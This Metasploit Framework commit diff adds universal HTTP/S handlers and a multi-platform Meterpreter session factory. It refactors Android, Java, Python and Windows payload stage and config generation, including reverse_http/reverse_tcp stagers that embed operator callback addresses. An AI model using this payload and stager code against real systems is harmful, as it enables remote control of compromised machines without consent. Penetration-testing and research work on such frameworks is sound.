Land #7634, Implement universal HTTP/S handlers for Meterpreter payloads

bug/bundler_fix
Brent Cook 2016-12-13 18:13:22 -06:00
commit fa016de78a
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
70 changed files with 1321 additions and 676 deletions

View File

@ -0,0 +1,50 @@
# -*- coding: binary -*-
require 'msf/base/sessions/meterpreter'
module Msf
module Sessions
###
#
# This class creates a platform-independent meterpreter session type
#
###
class Meterpreter_Multi < Msf::Sessions::Meterpreter
def initialize(rstream, opts={})
super
self.base_platform = 'multi'
self.base_arch = ARCH_ANY
end
def self.create_session(rstream, opts={})
# TODO: fill in more cases here
case opts[:payload_uuid].platform
when 'python'
require 'msf/base/sessions/meterpreter_python'
return Msf::Sessions::Meterpreter_Python_Python.new(rstream, opts)
when 'java'
require 'msf/base/sessions/meterpreter_java'
return Msf::Sessions::Meterpreter_Java_Java.new(rstream, opts)
when 'android'
require 'msf/base/sessions/meterpreter_android'
return Msf::Sessions::Meterpreter_Java_Android.new(rstream, opts)
when 'php'
require 'msf/base/sessions/meterpreter_php'
return Msf::Sessions::Meterpreter_Php_Java.new(rstream, opts)
when 'windows'
if opts[:payload_uuid].arch == ARCH_X86
require 'msf/base/sessions/meterpreter_x86_win'
return Msf::Sessions::Meterpreter_x86_Win.new(rstream, opts)
end
require 'msf/base/sessions/meterpreter_x64_win'
return Msf::Sessions::Meterpreter_x64_Win.new(rstream, opts)
end
# TODO: what should we do when we get here?
end
end
end
end

View File

@ -67,9 +67,7 @@ module MeterpreterOptions
end
if session.platform == 'android'
if datastore['AutoLoadAndroid']
session.load_android
end
session.load_android
end
[ 'InitialAutoRunScript', 'AutoRunScript' ].each do |key|

View File

@ -323,7 +323,7 @@ module Msf
multi_handler.datastore['PAYLOAD'] = payload_name
multi_handler.datastore['LPORT'] = wanted[:payload_lport]
%w(DebugOptions AutoLoadAndroid PrependMigrate PrependMigrateProc
%w(DebugOptions PrependMigrate PrependMigrateProc
InitialAutoRunScript AutoRunScript CAMPAIGN_ID HandlerSSLCert
StagerVerifySSLCert PayloadUUIDTracking PayloadUUIDName
IgnoreUnknownPayloads SessionRetryTotal SessionRetryWait

View File

@ -199,7 +199,14 @@ protected
# allocate a new session.
if (self.session)
begin
s = self.session.new(conn, opts)
# if there's a create_session method then use it, as this
# can form a factory for arb session types based on the
# payload.
if self.session.respond_to?('create_session')
s = self.session.create_session(conn, opts)
else
s = self.session.new(conn, opts)
end
rescue ::Exception => e
# We just wanna show and log the error, not trying to swallow it.
print_error("#{e.class} #{e.message}")

View File

@ -317,77 +317,31 @@ protected
pkt.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_TRANS_URL, conn_id + "/")
resp.body = pkt.to_r
when :init_python
print_status("Staging Python payload...")
when :init_python, :init_native, :init_java
# TODO: at some point we may normalise these three cases into just :init
url = payload_uri(req) + conn_id + '/'
blob = ""
blob << self.generate_stage(
http_url: url,
http_user_agent: datastore['MeterpreterUserAgent'],
http_proxy_host: datastore['PayloadProxyHost'] || datastore['PROXYHOST'],
http_proxy_port: datastore['PayloadProxyPort'] || datastore['PROXYPORT'],
uuid: uuid,
uri: conn_id
)
resp.body = blob
# Short-circuit the payload's handle_connection processing for create_session
create_session(cli, {
:passive_dispatcher => self.service,
:conn_id => conn_id,
:url => url,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,
:retry_wait => datastore['SessionRetryWait'].to_i,
:ssl => ssl?,
:payload_uuid => uuid
})
when :init_java
print_status("Staging Java payload...")
url = payload_uri(req) + conn_id + "/\x00"
blob = self.generate_stage(
uuid: uuid,
uri: conn_id
)
resp.body = blob
# Short-circuit the payload's handle_connection processing for create_session
create_session(cli, {
:passive_dispatcher => self.service,
:conn_id => conn_id,
:url => url,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,
:retry_wait => datastore['SessionRetryWait'].to_i,
:ssl => ssl?,
:payload_uuid => uuid
})
when :init_native
print_status("Staging Native payload...")
url = payload_uri(req) + conn_id + "/\x00"
# Damn you, python! Ruining my perfect world!
url += "\x00" unless uuid.arch == ARCH_PYTHON
uri = URI(payload_uri(req) + conn_id)
resp['Content-Type'] = 'application/octet-stream'
# TODO: does this have to happen just for windows, or can we set it for all?
resp['Content-Type'] = 'application/octet-stream' if uuid.platform == 'windows'
begin
# generate the stage, but pass in the existing UUID and connection id so that
# we don't get new ones generated.
blob = self.generate_stage(
uuid: uuid,
uri: conn_id,
url: url,
uuid: uuid,
lhost: uri.host,
lport: uri.port
lport: uri.port,
uri: conn_id
)
resp.body = encode_stage(blob)
blob = encode_stage(blob) if self.respond_to?(:encode_stage)
print_status("Staging #{uuid.arch} payload (#{blob.length} bytes) ...")
resp.body = blob
# Short-circuit the payload's handle_connection processing for create_session
create_session(cli, {
@ -414,11 +368,14 @@ protected
url = payload_uri(req) + conn_id
url << '/' unless url[-1] == '/'
# Damn you, python! Ruining my perfect world!
url += "\x00" unless uuid.arch == ARCH_PYTHON
# Short-circuit the payload's handle_connection processing for create_session
create_session(cli, {
:passive_dispatcher => self.service,
:conn_id => conn_id,
:url => url + "\x00",
:url => url,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,

View File

@ -536,4 +536,12 @@ class Msf::Module::Platform
Rank = 100
Alias = "mainframe"
end
#
# Multi (for wildcard-style platform functions)
#
class Multi < Msf::Module::Platform
Rank = 100
Alias = "multi"
end
end

View File

@ -32,6 +32,9 @@ class Payload < Msf::Module
require 'msf/core/payload/firefox'
require 'msf/core/payload/mainframe'
# Universal payload includes
require 'msf/core/payload/multi'
##
#
# Payload types

View File

@ -24,41 +24,41 @@ module Msf::Payload::Android
# We could compile the .class files with dx here
#
def generate_stage(opts={})
''
end
def generate_default_stage(opts={})
''
end
#
# Used by stagers to construct the payload jar file as a String
#
def generate
generate_jar.pack
def generate(opts={})
generate_jar(opts).pack
end
def java_string(str)
[str.length].pack("N") + str
end
def apply_options(classes, opts)
config = generate_config_bytes(opts)
if opts[:stageless]
config[0] = "\x01"
end
string_sub(classes, "\xde\xad\xba\xad" + "\x00" * 8191, config)
end
def generate_config_bytes(opts={})
def generate_config(opts={})
opts[:uuid] ||= generate_payload_uuid
ds = opts[:datastore] || datastore
config_opts = {
ascii_str: true,
arch: opts[:uuid].arch,
expiration: datastore['SessionExpirationTimeout'].to_i,
expiration: ds['SessionExpirationTimeout'].to_i,
uuid: opts[:uuid],
transports: [transport_config(opts)]
transports: opts[:transport_config] || [transport_config(opts)]
}
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
config.to_b
result = config.to_b
result[0] = "\x01" if opts[:stageless]
result
end
def string_sub(data, placeholder="", input="")
@ -104,7 +104,8 @@ module Msf::Payload::Android
classes = MetasploitPayloads.read('android', 'apk', 'classes.dex')
end
apply_options(classes, opts)
config = generate_config(opts)
string_sub(classes, "\xde\xad\xba\xad" + "\x00" * 8191, config)
jar = Rex::Zip::Jar.new
files = [

View File

@ -0,0 +1,56 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/base/sessions/meterpreter_options'
require 'msf/core/payload/uuid/options'
module Msf
###
#
# Common loader for Android payloads that make use of Meterpreter.
#
###
module Payload::Android::MeterpreterLoader
include Msf::Payload::Android
include Msf::Payload::UUID::Options
include Msf::Sessions::MeterpreterOptions
def initialize(info={})
super(update_info(info,
'Name' => 'Android Meterpreter & Configuration',
'Description' => 'Android-specific meterpreter generation',
'Author' => ['OJ Reeves'],
'Platform' => 'android',
'Arch' => ARCH_DALVIK,
'PayloadCompat' => {'Convention' => 'http https'},
'Stage' => {'Payload' => ''}
))
end
def stage_payload(opts={})
stage_meterpreter(opts)
end
def stage_meterpreter(opts={})
clazz = 'androidpayload.stage.Meterpreter'
metstage = MetasploitPayloads.read("android", "metstage.jar")
met = MetasploitPayloads.read("android", "meterpreter.jar")
# Name of the class to load from the stage, the actual jar to load
# it from, and then finally the meterpreter stage
blocks = [
java_string(clazz),
java_string(metstage),
java_string(met),
java_string(generate_config(opts))
]
(blocks + [blocks.length]).pack('A*' * blocks.length + 'N')
end
end
end

View File

@ -0,0 +1,63 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/transport_config'
require 'msf/core/payload/uuid/options'
module Msf
###
#
# Complex payload generation for Android that speaks HTTP(S)
#
###
module Payload::Android::ReverseHttp
include Msf::Payload::TransportConfig
include Msf::Payload::Android
include Msf::Payload::UUID::Options
#
# Generate the transport-specific configuration
#
def transport_config(opts={})
transport_config_reverse_http(opts)
end
def generate_config(opts={})
opts[:uri] ||= luri + generate_uri(opts)
super(opts)
end
#
# Generate the URI for the initial stager
#
def generate_uri(opts={})
ds = opts[:datastore] || datastore
uri_req_len = ds['StagerURILength'].to_i
# Choose a random URI length between 30 and 255 bytes
if uri_req_len == 0
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
end
if uri_req_len < 5
raise ArgumentError, "Minimum StagerURILength is 5"
end
generate_uri_uuid_mode(:init_java, uri_req_len)
end
#
# Always wait at least 20 seconds for this payload (due to staging delays)
#
def wfs_delay
20
end
end
end

View File

@ -0,0 +1,27 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/android/reverse_http'
module Msf
###
#
# Complex payload generation for Android that speaks HTTPS
#
###
module Payload::Android::ReverseHttps
include Msf::Payload::Android::ReverseHttp
#
# Generate the transport-specific configuration
#
def transport_config(opts={})
transport_config_reverse_https(opts)
end
end
end

View File

@ -0,0 +1,28 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/transport_config'
module Msf
###
#
# Complex payload generation for Android that speaks TCP
#
###
module Payload::Android::ReverseTcp
include Msf::Payload::TransportConfig
include Msf::Payload::Android
#
# Generate the transport-specific configuration
#
def transport_config(opts={})
transport_config_reverse_tcp(opts)
end
end
end

View File

@ -4,7 +4,7 @@ require 'msf/core'
module Msf::Payload::Java
#
# Used by stages; all java stages need to define +@stage_class_files+ as an
# Used by stages; all java stages need to define +stage_class_files+ as an
# array of .class files located in data/java/
#
# The staging protocol expects any number of class files, each prepended
@ -15,8 +15,12 @@ module Msf::Payload::Java
# [ 32-bit null ]
#
def generate_stage(opts={})
generate_default_stage(opts)
end
def generate_default_stage(opts={})
stage = ''
@stage_class_files.each do |path|
stage_class_files.each do |path|
data = MetasploitPayloads.read('java', path)
stage << [data.length, data].pack('NA*')
end
@ -28,15 +32,14 @@ module Msf::Payload::Java
#
# Used by stagers to construct the payload jar file as a String
#
def generate
generate_jar.pack
def generate(opts={})
generate_jar(opts).pack
end
#
# Used by stagers to create a jar file as a {Rex::Zip::Jar}. Stagers
# define a list of class files in @class_files which are pulled from the
# MetasploitPayloads gem. The configuration file is created by
# the payload's #config method.
# define a list of class files from the class_files method. The
# configuration file is created by the payload's #stager_config method.
#
# @option opts :main_class [String] the name of the Main-Class
# attribute in the manifest. Defaults to "metasploit.Payload"
@ -44,18 +47,18 @@ module Msf::Payload::Java
# "metasploit" package name.
# @return [Rex::Zip::Jar]
def generate_jar(opts={})
raise if not respond_to? :config
raise if not respond_to? :stager_config
# Allow changing the jar's Main Class in the manifest so wrappers
# around metasploit.Payload will work.
main_class = opts[:main_class] || "metasploit.Payload"
paths = [
[ "metasploit", "Payload.class" ],
] + @class_files
] + class_files
jar = Rex::Zip::Jar.new
jar.add_sub("metasploit") if opts[:random]
jar.add_file("metasploit.dat", config)
jar.add_file("metasploit.dat", stager_config(opts))
jar.add_files(paths, MetasploitPayloads.path('java'))
jar.build_manifest(:main_class => main_class)
@ -71,7 +74,7 @@ module Msf::Payload::Java
# web.xml. Defaults to random
#
def generate_war(opts={})
raise if not respond_to? :config
raise if not respond_to? :stager_config
zip = Rex::Zip::Jar.new
web_xml = %q{<?xml version="1.0"?>
@ -96,27 +99,26 @@ module Msf::Payload::Java
paths = [
[ "metasploit", "Payload.class" ],
[ "metasploit", "PayloadServlet.class" ],
] + @class_files
] + class_files
zip.add_file('WEB-INF/', '')
zip.add_file('WEB-INF/web.xml', web_xml)
zip.add_file("WEB-INF/classes/", "")
zip.add_files(paths, MetasploitPayloads.path('java'), 'WEB-INF/classes/')
zip.add_file("WEB-INF/classes/metasploit.dat", config)
zip.add_file("WEB-INF/classes/metasploit.dat", stager_config(opts))
zip
end
#
# Used by stagers to create a axis2 webservice file as a {Rex::Zip::Jar}.
# Stagers define a list of class files in @class_files which are pulled
# from the MetasploitPayloads gem. The configuration file is created by
# the payload's #config method.
# Stagers define a list of class files returned via class_files. The
# configuration file is created by the payload's #stager_config method.
#
# @option :app_name [String] Name of the Service in services.xml. Defaults to random.
# @return [Rex::Zip::Jar]
def generate_axis2(opts={})
raise if not respond_to? :config
raise if not respond_to? :stager_config
app_name = opts[:app_name] || Rex::Text.rand_text_alpha_lower(rand(8)+8)
@ -132,16 +134,26 @@ module Msf::Payload::Java
paths = [
[ 'metasploit', 'Payload.class' ],
[ 'metasploit', 'PayloadServlet.class' ]
] + @class_files
] + class_files
zip = Rex::Zip::Jar.new
zip.add_file('META-INF/', '')
zip.add_file('META-INF/services.xml', services_xml)
zip.add_files(paths, MetasploitPayloads.path('java'))
zip.add_file('metasploit.dat', config)
zip.add_file('metasploit.dat', stager_config(opts))
zip.build_manifest(:app_name => app_name)
zip
end
# Default to no extra class files
def class_files
[]
end
# Default to no extra stage class files
def stage_class_files
[]
end
end

View File

@ -0,0 +1,74 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/transport_config'
require 'msf/core/payload/uuid/options'
module Msf
###
#
# Complex payload generation for Java that speaks TCP
#
###
module Payload::Java::BindTcp
include Msf::Payload::TransportConfig
include Msf::Payload::Java
include Msf::Payload::UUID::Options
#
# Register Java reverse_http specific options
#
def initialize(*args)
super
register_advanced_options([
Msf::OptString.new('AESPassword', [false, "Password for encrypting communication", '']),
Msf::OptInt.new('Spawn', [true, "Number of subprocesses to spawn", 2])
])
end
#
# Generate the transport-specific configuration
#
def transport_config(opts={})
transport_config_bind_tcp(opts)
end
def include_send_uuid
false
end
#
# Generate configuration that is to be included in the stager.
#
def stager_config(opts={})
ds = opts[:datastore] || datastore
spawn = ds["Spawn"] || 2
c = ""
c << "Spawn=#{spawn}\n"
pass = ds["AESPassword"] || ''
if pass != ""
c << "AESPassword=#{pass}\n"
end
c << "LHOST=#{ds["LHOST"]}\n" if ds["LHOST"]
c << "LPORT=#{ds["LPORT"]}\n" if ds["LPORT"]
c
end
def class_files
# TODO: we should handle opts in class_files as well
if datastore['AESPassword'] && datastore['AESPassword'].length > 0
[
["metasploit", "AESEncryption.class"],
]
else
[]
end
end
end
end

View File

@ -0,0 +1,102 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/base/sessions/meterpreter_options'
require 'msf/core/payload/uuid/options'
module Msf
###
#
# Common module stub for Java payloads that make use of Meterpreter.
#
###
module Payload::Java::MeterpreterLoader
include Msf::Payload::Java
include Msf::Payload::UUID::Options
include Msf::Sessions::MeterpreterOptions
def initialize(info = {})
super(update_info(info,
'Name' => 'Java Meterpreter & Configuration',
'Description' => 'Java-specific meterpreter generation',
'Author' => ['OJ Reeves'],
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'PayloadCompat' => {'Convention' => 'http https'},
'Stage' => {'Payload' => ''}
))
end
def stage_payload(opts={})
stage_meterpreter(opts)
end
#
# Override the Payload::Java version so we can load a prebuilt jar to be
# used as the final stage; calls super to get the intermediate stager.
#
def stage_meterpreter(opts={})
met = MetasploitPayloads.read('meterpreter', 'meterpreter.jar')
config = generate_config(opts)
# All of the dependencies to create a jar loader, followed by the length
# of the jar and the jar itself, then the config
blocks = [
generate_default_stage(opts),
[met.length, met].pack('NA*'),
[config.length, config].pack('NA*')
]
# Deliberate off by 1 here. The call to super adds a null terminator
# so we would add 1 for the null terminate and remove one for the call
# to super.
block_count = blocks.length + stage_class_files.length
# Pack all the magic together
(blocks + [block_count]).pack('A*' * blocks.length + 'N')
end
def generate_config(opts={})
opts[:uuid] ||= generate_payload_uuid
ds = opts[:datastore] || datastore
# create the configuration block, which for staged connections is really simple.
config_opts = {
ascii_str: true,
arch: opts[:uuid].arch,
expiration: ds['SessionExpirationTimeout'].to_i,
uuid: opts[:uuid],
transports: opts[:transport_config] || [transport_config(opts)]
}
# create the configuration instance based off the parameters
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
# return the binary version of it
config.to_b
end
def stage_class_files
# Order matters. Classes can only reference classes that have already
# been sent. The last .class must implement Stage, i.e. have a start()
# method.
#
# The Meterpreter.class stage is just a jar loader, not really anything
# to do with meterpreter specifically. This payload should eventually
# be replaced with an actual meterpreter stage so we don't have to send
# a second jar.
[
[ "javapayload", "stage", "Stage.class" ],
[ "com", "metasploit", "meterpreter", "MemoryBufferURLConnection.class" ],
[ "com", "metasploit", "meterpreter", "MemoryBufferURLStreamHandler.class" ],
# Must be last!
[ "javapayload", "stage", "Meterpreter.class" ],
]
end
end
end

View File

@ -0,0 +1,94 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/transport_config'
require 'msf/core/payload/uuid/options'
module Msf
###
#
# Complex payload generation for Java that speaks HTTP(S)
#
###
module Payload::Java::ReverseHttp
include Msf::Payload::TransportConfig
include Msf::Payload::Java
include Msf::Payload::UUID::Options
#
# Register Java reverse_http specific options
#
def initialize(*args)
super
register_advanced_options([
Msf::OptInt.new('Spawn', [true, 'Number of subprocesses to spawn', 2]),
Msf::OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)'])
])
end
#
# Generate the transport-specific configuration
#
def transport_config(opts={})
transport_config_reverse_http(opts)
end
#
# Generate the URI for the initial stager
#
def generate_uri(opts={})
ds = opts[:datastore] || datastore
uri_req_len = ds['StagerURILength'].to_i
# Choose a random URI length between 30 and 255 bytes
if uri_req_len == 0
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
end
if uri_req_len < 5
raise ArgumentError, "Minimum StagerURILength is 5"
end
generate_uri_uuid_mode(:init_java, uri_req_len)
end
#
# Generate configuration that is to be included in the stager.
#
def stager_config(opts={})
uri = generate_uri(opts)
ds = opts[:datastore] || datastore
c = ''
c << "Spawn=#{ds["Spawn"] || 2}\n"
c << "URL=#{scheme}://#{ds['LHOST']}"
c << ":#{ds['LPORT']}" if ds['LPORT']
c << luri
c << uri
c << "\n"
c
end
#
# Scheme defaults to http
#
def scheme
'http'
end
#
# Always wait at least 20 seconds for this payload (due to staging delays)
#
def wfs_delay
20
end
end
end

View File

@ -0,0 +1,41 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/java/reverse_http'
module Msf
###
#
# Complex payload generation for Java that speaks HTTPS
#
###
module Payload::Java::ReverseHttps
include Msf::Payload::Java::ReverseHttp
#
# Generate the transport-specific configuration
#
def transport_config(opts={})
transport_config_reverse_https(opts)
end
#
# Override the scheme so that it has https instead of http
#
def scheme
'https'
end
#
# Override class_files to include the trust manager
#
def class_files
[
["metasploit", "PayloadTrustManager.class"]
]
end
end
end

View File

@ -0,0 +1,76 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/transport_config'
require 'msf/core/payload/uuid/options'
module Msf
###
#
# Complex payload generation for Java that speaks TCP
#
###
module Payload::Java::ReverseTcp
include Msf::Payload::TransportConfig
include Msf::Payload::Java
include Msf::Payload::UUID::Options
#
# Register Java reverse_http specific options
#
def initialize(*args)
super
register_advanced_options([
Msf::OptString.new('AESPassword', [false, "Password for encrypting communication", '']),
Msf::OptInt.new('Spawn', [true, "Number of subprocesses to spawn", 2])
])
end
#
# Generate the transport-specific configuration
#
def transport_config(opts={})
transport_config_reverse_tcp(opts)
end
def include_send_uuid
false
end
#
# Generate configuration that is to be included in the stager.
#
def stager_config(opts={})
ds = opts[:datastore] || datastore
spawn = ds["Spawn"] || 2
c = ""
c << "Spawn=#{spawn}\n"
pass = ds["AESPassword"] || ''
if pass != ""
c << "AESPassword=#{pass}\n"
end
c << "LHOST=#{ds["LHOST"]}\n" if ds["LHOST"]
c << "LPORT=#{ds["LPORT"]}\n" if ds["LPORT"]
c
end
def class_files
# TODO: we should handle opts in class_files as well
if datastore['AESPassword'] && datastore['AESPassword'].length > 0
[
["metasploit", "AESEncryption.class"],
]
else
[]
end
end
end
end

View File

@ -0,0 +1,50 @@
# -*- coding: binary -*-
require 'msf/core'
###
#
#
#
###
module Msf::Payload::Multi
# TOOD: require the appropriate stuff!
#require 'msf/core/payload/windows/dllinject'
#require 'msf/core/payload/windows/exec'
#require 'msf/core/payload/windows/loadlibrary'
#require 'msf/core/payload/windows/meterpreter_loader'
#require 'msf/core/payload/windows/x64/meterpreter_loader'
#require 'msf/core/payload/windows/reflectivedllinject'
#require 'msf/core/payload/windows/x64/reflectivedllinject'
# TODO: figure out what to do here
def apply_prepends(raw)
''
end
# TODO: figure out what to do here
def initialize(info={})
super(update_info(info,
'Name' => 'Multi-Platform Meterpreter Payload',
'Description' => 'Detect and generate the appropriate payload based on platform/arch',
'Author' => ['OJ Reeves'],
'Platform' => ['multi'],
'Arch' => ARCH_ALL,
'Stage' => {'Payload' => ''},
'PayloadCompat' => {'Convention' => 'sockedi sockrdi http https'},
))
end
# TODO: figure out what to do here
def replace_var(raw, name, offset, pack)
return true
end
# TODO: figure out what to do here
def handle_intermediate_stage(conn, payload)
return true
end
end

View File

@ -0,0 +1,69 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/uuid/options'
module Msf
###
#
# Complex payload generation for arch-agnostic HTTP.
#
###
module Payload::Multi::ReverseHttp
include Msf::Payload::UUID::Options
include Msf::Payload::Multi
#
# Register reverse_http specific options
#
def initialize(*args)
super
register_advanced_options([
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]),
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
OptString.new('PayloadProxyPass', [false, 'An optional proxy server password']),
OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']])
])
end
#
# Generate the first stage
#
def generate(opts={})
# Not such thing as a first stage for multi/reverse_http
''
end
#
# Generate the transport-specific configuration
#
def transport_config(opts={})
transport_config_reverse_http(opts)
end
#
# Do not transmit the stage over the connection. We handle this via HTTPS
#
def stage_over_connection?
false
end
#
# Always wait at least 20 seconds for this payload (due to staging delays)
#
def wfs_delay
20
end
end
end

View File

@ -0,0 +1,30 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/transport_config'
require 'msf/core/payload/multi/reverse_http'
module Msf
###
#
# Complex payload generation for arch-agnostic HTTP.
#
###
module Payload::Multi::ReverseHttps
include Msf::Payload::TransportConfig
include Msf::Payload::Multi::ReverseHttp
#
# Generate the transport-specific configuration
#
def transport_config(opts={})
transport_config_reverse_https(opts)
end
end
end

View File

@ -14,6 +14,7 @@ module Msf
module Payload::Python::MeterpreterLoader
include Msf::Payload::Python
include Msf::Payload::UUID::Options
include Msf::Sessions::MeterpreterOptions
@ -32,6 +33,10 @@ module Payload::Python::MeterpreterLoader
], self.class)
end
def stage_payload(opts={})
stage_meterpreter(opts)
end
# Get the raw Python Meterpreter stage and patch in values based on the
# configuration
#
@ -40,7 +45,7 @@ module Payload::Python::MeterpreterLoader
# HTTP(S) transports.
# @option opts [String] :http_proxy_port The port to use when a proxy host is
# set for HTTP(S) transports.
# @option opts [String] :http_url The HTTP(S) URL to patch in to
# @option opts [String] :url The HTTP(S) URL to patch in to
# allow use of the stage as a stageless payload.
# @option opts [String] :http_user_agent The value to use for the User-Agent
# header for HTTP(S) transports.
@ -49,31 +54,36 @@ module Payload::Python::MeterpreterLoader
# @option opts [String] :uuid A specific UUID to use for sessions created by
# this stage.
def stage_meterpreter(opts={})
ds = opts[:datastore] || datastore
met = MetasploitPayloads.read('meterpreter', 'meterpreter.py')
var_escape = lambda { |txt|
txt.gsub('\\', '\\'*8).gsub('\'', %q(\\\\\\\'))
}
if datastore['PythonMeterpreterDebug']
if ds['PythonMeterpreterDebug']
met = met.sub("DEBUGGING = False", "DEBUGGING = True")
end
met.sub!('SESSION_EXPIRATION_TIMEOUT = 604800', "SESSION_EXPIRATION_TIMEOUT = #{datastore['SessionExpirationTimeout']}")
met.sub!('SESSION_COMMUNICATION_TIMEOUT = 300', "SESSION_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}")
met.sub!('SESSION_RETRY_TOTAL = 3600', "SESSION_RETRY_TOTAL = #{datastore['SessionRetryTotal']}")
met.sub!('SESSION_RETRY_WAIT = 10', "SESSION_RETRY_WAIT = #{datastore['SessionRetryWait']}")
met.sub!('SESSION_EXPIRATION_TIMEOUT = 604800', "SESSION_EXPIRATION_TIMEOUT = #{ds['SessionExpirationTimeout']}")
met.sub!('SESSION_COMMUNICATION_TIMEOUT = 300', "SESSION_COMMUNICATION_TIMEOUT = #{ds['SessionCommunicationTimeout']}")
met.sub!('SESSION_RETRY_TOTAL = 3600', "SESSION_RETRY_TOTAL = #{ds['SessionRetryTotal']}")
met.sub!('SESSION_RETRY_WAIT = 10', "SESSION_RETRY_WAIT = #{ds['SessionRetryWait']}")
uuid = opts[:uuid] || generate_payload_uuid
uuid = Rex::Text.to_hex(uuid.to_raw, prefix = '')
met.sub!("PAYLOAD_UUID = \'\'", "PAYLOAD_UUID = \'#{uuid}\'")
# patch in the stageless http(s) connection url
met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(opts[:http_url])}'") if opts[:http_url].to_s != ''
met.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(opts[:http_user_agent])}'") if opts[:http_user_agent].to_s != ''
http_user_agent = opts[:http_user_agent] || ds['MeterpreterUserAgent']
http_proxy_host = opts[:http_proxy_host] || ds['PayloadProxyHost'] || ds['PROXYHOST']
http_proxy_port = opts[:http_proxy_port] || ds['PayloadProxyPort'] || ds['PROXYPORT']
if opts[:http_proxy_host].to_s != ''
proxy_url = "http://#{opts[:http_proxy_host]}:#{opts[:http_proxy_port]}"
# patch in the stageless http(s) connection url
met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(opts[:url])}'") if opts[:url].to_s != ''
met.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(http_user_agent)}'") if http_user_agent.to_s != ''
if http_proxy_host.to_s != ''
proxy_url = "http://#{http_proxy_host}:#{http_proxy_port}"
met.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'")
end

View File

@ -22,12 +22,13 @@ module Payload::Python::ReverseHttp
# Generate the first stage
#
def generate(opts={})
ds = opts[:datastore] || datastore
opts.merge!({
host: datastore['LHOST'] || '127.127.127.127',
port: datastore['LPORT'],
proxy_host: datastore['PayloadProxyHost'],
proxy_port: datastore['PayloadProxyPort'],
user_agent: datastore['MeterpreterUserAgent']
host: ds['LHOST'] || '127.127.127.127',
port: ds['LPORT'],
proxy_host: ds['PayloadProxyHost'],
proxy_port: ds['PayloadProxyPort'],
user_agent: ds['MeterpreterUserAgent']
})
opts[:scheme] = 'http' if opts[:scheme].nil?

View File

@ -89,7 +89,10 @@ module Msf::Payload::Stager
#
# @return [String,nil]
def stage_payload(opts = {})
return module_info['Stage']['Payload']
if module_info['Stage']
return module_info['Stage']['Payload']
end
nil
end
#
@ -97,7 +100,10 @@ module Msf::Payload::Stager
#
# @return [String]
def stage_assembly
return module_info['Stage']['Assembly']
if module_info['Stage']
return module_info['Stage']['Assembly']
end
nil
end
#
@ -108,7 +114,10 @@ module Msf::Payload::Stager
#
# @return [Hash]
def stage_offsets
return module_info['Stage']['Offsets']
if module_info['Stage']
return module_info['Stage']['Offsets']
end
nil
end
#

View File

@ -108,7 +108,7 @@ class Msf::Payload::UUID
puid = seed_to_puid(opts[:seed])
end
puid ||= Rex::Text.rand_text(8)
puid ||= SecureRandom.random_bytes(8)
if puid.length != 8
raise ArgumentError, "The :puid parameter must be exactly 8 bytes"
@ -256,7 +256,7 @@ class Msf::Payload::UUID
end
# Generate some sensible defaults
self.puid ||= Rex::Text.rand_text(8)
self.puid ||= SecureRandom.random_bytes(8)
self.xor1 ||= rand(256)
self.xor2 ||= rand(256)
self.timestamp ||= Time.now.utc.to_i

View File

@ -2,6 +2,7 @@
require 'msf/core'
require 'msf/core/reflective_dll_loader'
require 'rex/payloads/meterpreter/config'
module Msf
@ -66,14 +67,39 @@ module Payload::Windows::MeterpreterLoader
^
end
def stage_meterpreter(stageless=false)
def stage_payload(opts={})
stage_meterpreter(opts) + generate_config(opts)
end
def generate_config(opts={})
ds = opts[:datastore] || datastore
opts[:uuid] ||= generate_payload_uuid
# create the configuration block, which for staged connections is really simple.
config_opts = {
arch: opts[:uuid].arch,
exitfunk: ds['EXITFUNC'],
expiration: ds['SessionExpirationTimeout'].to_i,
uuid: opts[:uuid],
transports: opts[:transport_config] || [transport_config(opts)],
extensions: []
}
# create the configuration instance based off the parameters
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
# return the binary version of it
config.to_b
end
def stage_meterpreter(opts={})
# Exceptions will be thrown by the mixin if there are issues.
